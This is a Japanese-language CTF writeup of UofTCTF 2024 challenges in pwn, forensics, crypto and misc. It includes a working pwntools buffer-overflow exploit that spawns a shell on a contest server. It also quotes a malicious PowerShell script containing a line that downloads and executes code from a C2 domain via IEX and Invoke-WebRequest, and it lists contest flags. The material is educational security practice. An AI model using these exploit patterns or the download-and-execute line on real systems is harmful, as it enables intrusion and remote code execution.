UofTCTF 2024 Writeup

この大会は2024/1/14 2:00(JST)~2024/1/15 14:00(JST)に開催されました。
今回もチームで参戦。結果は4313点で1225チーム中73位でした。
自分で解けた問題をWriteupとして書いておきます。

General Information (Introduction)

問題にフラグが書いてあった。

UofTCTF{600d_1uck}

Baby's First IoT Introduction (IoT)

問題にフラグが書いてあった。

{i_understand_the_mission}

Out of the Bucket (Miscellaneous)

上位のパス https://storage.googleapis.com/out-of-the-bucket を見てみると、XMLのファイルリスト(バケット)が表示される。

その中で以下のパスが怪しいので、アクセスしてみる。

secret/dont_show
$ curl https://storage.googleapis.com/out-of-the-bucket/secret/dont_show 
uoftctf{allUsers_is_not_safe}
uoftctf{allUsers_is_not_safe}

basic-overflow (Pwn)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  char local_48 [64];
  
  gets(local_48);
  return 0;
}

void shell(void)

{
  execve("/bin/sh",(char **)0x0,(char **)0x0);
  return;
}

BOFでshell関数をコールすればよい。

$ gdb -q ./basic-overflow 
Reading symbols from ./basic-overflow...
(No debugging symbols found in ./basic-overflow)
gdb-peda$ pattc 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ r
Starting program: /media/sf_Shared/basic-overflow 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL

Program received signal SIGSEGV, Segmentation fault.
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.

Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.

[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x7fffffffde78 --> 0x7fffffffe1f4 ("/media/sf_Shared/basic-overflow")
RCX: 0x7ffff7f9aa80 --> 0xfbad2288 
RDX: 0x1 
RSI: 0x1 
RDI: 0x7ffff7f9ca20 --> 0x0 
RBP: 0x4141334141644141 ('AAdAA3AA')
RSP: 0x7fffffffdd68 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL")
RIP: 0x401175 (<main+31>:       ret)
R8 : 0x405305 --> 0x0 
R9 : 0x0 
R10: 0x1000 
R11: 0x246 
R12: 0x0 
R13: 0x7fffffffde88 --> 0x7fffffffe214 ("CLUTTER_IM_MODULE=xim")
R14: 0x403df0 --> 0x401100 (endbr64)
R15: 0x7ffff7ffd020 --> 0x7ffff7ffe2e0 --> 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x40116a <main+20>:  call   0x401040 <gets@plt>
   0x40116f <main+25>:  mov    eax,0x0
   0x401174 <main+30>:  leave
=> 0x401175 <main+31>:  ret
   0x401176:    add    BYTE PTR [rax],al
   0x401178 <_fini>:    endbr64
   0x40117c <_fini+4>:  sub    rsp,0x8
   0x401180 <_fini+8>:  add    rsp,0x8
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdd68 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0008| 0x7fffffffdd70 ("AJAAfAA5AAKAAgAA6AAL")
0016| 0x7fffffffdd78 ("AAKAAgAA6AAL")
0024| 0x7fffffffdd80 --> 0x4c414136 ('6AAL')
0032| 0x7fffffffdd88 --> 0x7fffffffde78 --> 0x7fffffffe1f4 ("/media/sf_Shared/basic-overflow")
0040| 0x7fffffffdd90 --> 0x7fffffffde78 --> 0x7fffffffe1f4 ("/media/sf_Shared/basic-overflow")
0048| 0x7fffffffdd98 --> 0xde922db7777cbf58 
0056| 0x7fffffffdda0 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000401175 in main ()
gdb-peda$ patto IAAeAA4AAJAAfAA5AAKAAgAA6AAL
IAAeAA4AAJAAfAA5AAKAAgAA6AAL found at offset: 72

$ ROPgadget --binary basic-overflow | grep ": ret" 
0x000000000040101a : ret
0x0000000000401042 : ret 0x2f
0x0000000000401022 : retf 0x2f
#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('34.123.15.202', 5000)
else:
    p = process('./basic-overflow')

elf = ELF('./basic-overflow')

ret_addr = 0x40101a
shell_addr = elf.symbols['shell']

payload = b'A' * 72
payload += p64(ret_addr)
payload += p64(shell_addr)

print(payload)
p.sendline(payload)
p.interactive()

実行結果は以下の通り。

[+] Opening connection to 34.123.15.202 on port 5000: Done
[*] '/media/sf_Shared/basic-overflow'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1a\x10@\x00\x00\x00\x00\x006\x11@\x00\x00\x00\x00\x00'
[*] Switching to interactive mode
$ ls
flag
run
$ cat flag
uoftctf{reading_manuals_is_very_fun}
uoftctf{reading_manuals_is_very_fun}

Secret Message 1 (Forensics)

PDFを開くと、フラグがマスクされているので、テキストを抽出してみる。

$ pdftotext secret.pdf
$ cat secret.txt          
Confidential Document
TRANSCRIPT: A Very Private Conversation

Person 1: "So, have you reviewed the latest security measures?"
Person 2: "I have. The team's done a thorough job this time."
Person 1: "Especially after the last breach, we couldn't take any chances."
Person 2: "Absolutely. The new encryption protocols should prevent similar incidents."
Person 1: "What about the insider threat? Any measures against that?"
Person 2: "Yes, they've implemented strict access controls and regular audits."
Person 1: "Good to hear. By the way, how's the CTF challenge coming along?"
Person 2: "Oh, it's going great. We've got some tricky puzzles this time."
Person 1: "Just make sure the flag is well-protected. We don't want a repeat of last time."
Person 2: "Definitely not. The flag 'uoftctf{fired_for_leaking_secrets_in_a_pdf}' is securely
embedded."
Person 1: "Great. But remember, that's between us."
Person 2: "Of course. Confidentiality is key in these matters."
Person 1: "Alright, I trust your discretion. Let's keep it under wraps."
Person 2: "Agreed. We'll debrief the team about general security, but specifics stay with us."
Person 1: "Sounds like a plan. Let's meet next week for another update."
Person 2: "Will do. Take care until then."
uoftctf{fired_for_leaking_secrets_in_a_pdf}

No grep (Forensics)

VirtualBoxにインポートして起動すると、自動でログインする。
PowerShellの実行履歴を見る。

C:\Users\analyst>type C:\Users\analyst\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cd .\Desktop\
clear
ls
ifconfig
ipconfig
netstat -r
clear
exit
cd .\Desktop\
clear
ls
.\stomp_time.exe --help
.\stomp_time.exe -h
.\stomp_time.exe
clear
ls
.\stomp_time.exe -m
.\stomp_time.exe -m r -p C:\Users\analyst\Desktop\stomp_time.exe
ls
.\stomp_time.exe -m -p C:\Users\analyst\Desktop\stomp_time.exe
ls
.\stomp_time.exe -z 10-20-1999 14:02:01 -p C:\Users\analyst\Desktop\stomp_time.exe
ls -la
ls
New-Item "new.txt"
clear
ls
cd ..
cd .\Users\analyst\Desktop\
clear
ls
.\stomp_time.exe -z "10-20-1994 14:2:01" -p .\new.txt
ls
Get-Alias
clear
Set-ExecutionPolicy RemoteSigned
clear
ls
clear
Set-Alias -Name UpdateSystem -Value "C:\Windows\Web\Wallpaper\Theme2\update.ps1"
clear
Get-Alias
Get-Alias -Name "UpdateSystem"
exit
Get-Alias
notepad $PROFILE
echo $PROFILE`

C:\Windows\Web\Wallpaper\Theme2\update.ps1を見てみる。

$String_Key = 'W0wMadeitthisfar'

$NewValue = '$(' + (([int[]][char[]]$String | ForEach-Object { "[char]$($_)" }) -join '+') + ')'

$chars = 34, 95, 17, 57, 2, 16, 3, 18, 68, 16, 12, 54, 4, 82, 24, 45, 35, 0, 40, 63, 20, 10, 58, 25, 3, 65, 0, 20

$keyAscii = $String_Key.ToCharArray() | ForEach-Object { [int][char]$_ }

$resultArray = $chars -bxor $keyAscii

IEX (Invoke-WebRequest -Uri 'https://somec2attackerdomain.com/chrome.exe' -UseBasicParsing).Content

$String_Keyと$charsのXORを取る。

#!/usr/bin/env python3
String_Key = 'W0wMadeitthisfar'
chars = [34, 95, 17, 57, 2, 16, 3, 18, 68, 16, 12, 54, 4, 82, 24, 45, 35, 0, 40, 63, 20, 10, 58, 25, 3, 65, 0, 20]

flag = ''
for i in range(len(chars)):
    flag += chr(chars[i] ^ ord(String_Key[i % len(String_Key)]))
print(flag)
uoftctf{0dd_w4y_t0_run_pw5h}

EnableMe (Forensics)

マクロが含まれているWordファイルが問題のファイル。マクロのコードを見てみる。

$ olevba invoice.docm 
olevba 0.60.1 on Python 3.10.12 - http://decalage.info/python/oletools
===============================================================================
FILE: invoice.docm
Type: OpenXML
WARNING  For now, VBA stomping cannot be detected for files in memory
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls 
in file: word/vbaProject.bin - OLE stream: 'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Sub AutoOpen()
    Dim v6 As Variant, v7 As Variant
    v6 = Array(98, 120, 113, 99, 116, 99, 113, 108, 115, 39, 116, 111, 72, 113, 38, 123, 36, 34, 72, 116, 35, 121, 72, 101, 98, 121, 72, 116, 39, 115, 114, 72, 99, 39, 39, 39, 106)
    v7 = Array(44, 32, 51, 84, 43, 53, 48, 62, 68, 114, 38, 61, 17, 70, 121, 45, 112, 126, 26, 39, 21, 78, 21, 7, 6, 26, 127, 8, 89, 0, 1, 54, 26, 87, 16, 10, 84)
    
    Dim v8 As Integer: v8 = 23

    Dim v9 As String, v10 As String, v4 As String, i As Integer
    v9 = ""
    For i = 0 To UBound(v6)
        v9 = v9 & Chr(v6(i) Xor Asc(Mid(Chr(v8), (i Mod Len(Chr(v8))) + 1, 1)))
    Next i

    v10 = ""
    For i = 0 To UBound(v7)
        v10 = v10 & Chr(v7(i) Xor Asc(Mid(v9, (i Mod Len(v9)) + 1, 1)))
    Next i

    MsgBox v10
End Sub

-------------------------------------------------------------------------------
VBA MACRO Module1.bas 
in file: word/vbaProject.bin - OLE stream: 'VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
(empty macro)
+----------+--------------------+---------------------------------------------+
|Type      |Keyword             |Description                                  |
+----------+--------------------+---------------------------------------------+
|AutoExec  |AutoOpen            |Runs when the Word document is opened        |
|Suspicious|Chr                 |May attempt to obfuscate specific strings    |
|          |                    |(use option --deobf to deobfuscate)          |
|Suspicious|Xor                 |May attempt to obfuscate specific strings    |
|          |                    |(use option --deobf to deobfuscate)          |
+----------+--------------------+---------------------------------------------+

v6の各値とv8のXORを取り、v9を出力すればよい。

#!/usr/bin/env python3
v6 = [98, 120, 113, 99, 116, 99, 113, 108, 115, 39, 116, 111, 72, 113, 38, 123, 36, 34, 72, 116, 35, 121, 72, 101, 98, 121, 72, 116, 39, 115, 114, 72, 99, 39, 39, 39, 106]
v8 = 23

flag = ''
for i in range(len(v6)):
    flag += chr(v6[i] ^ v8)
print(flag)
uoftctf{d0cx_f1l35_c4n_run_c0de_t000}

repeat (Cryptography)

8バイトの鍵でXOR暗号化されている。フラグは"uoftctf{"で始まることを前提に復号する。

#!/usr/bin/env python3
def xor(message, key):
    return bytes([message[i] ^ key[i % len(key)] for i in range(len(message))])

with open('flag.enc', 'rb') as f:
    enc_flag = bytes.fromhex(f.read().decode().split(' ')[-1])

flag_head = b'uoftctf{'
key = b''
for i in range(len(flag_head)):
    key += bytes([enc_flag[i] ^ flag_head[i]])

flag = ''
for i in range(len(enc_flag)):
    flag += chr(enc_flag[i] ^ key[i % len(key)])
print(flag)
uoftctf{x0r_iz_r3v3rs1bl3_w17h_kn0wn_p141n73x7}

Pianoman (Cryptography)

RSA暗号でp, q, cはわかっている。コードからeはわからないが、musical_e.pngが関係しているようだ。
musical_e.pngには五線譜に音符が書かれている。音階は10段階なので、ドを0にして、音階が上がるごとに数値が上がっていると推測する。
そうだとするとeは7029307になり、この前提で復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *

p = 151974537061323957822386073908385085419559026351164685426097479266890291010147521691623222013307654711435195917538910433499461592808140930995554881397135856676650008657702221890681556382541341154333619026995004346614954741516470916984007797447848200982844325683748644670322174197570545222141895743221967042369
q = 174984645401233071825665708002522121612485226530706132712010887487642973021704769474826989160974464933559818767568944237124745165979610355867977190192654030573049063822083356316183080709550520634370714336131664619311165756257899116089875225537979520325826655873483634761961805768588413832262117172840398661229
n = p * q
e = 7029307

with open('output.txt', 'r') as f:
    c = int(f.read())

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode()
print(flag)
uoftctf{AT1d2jMCVs03xxalViU9zTyiiV1INNJY}

Wheel Barrow (Cryptography)

問題タイトルから、Burrows–Wheeler transformで変換していると推測できる。
https://calcoolator.eu/burrows-wheeler-transform-encoder-decoder-で元に戻す。End of file characterに"$"を指定する。

th3_burr0w_wh33ler_transform_is_pr3tty_c00l_eh$
uoftctf{th3_burr0w_wh33ler_transform_is_pr3tty_c00l_eh$}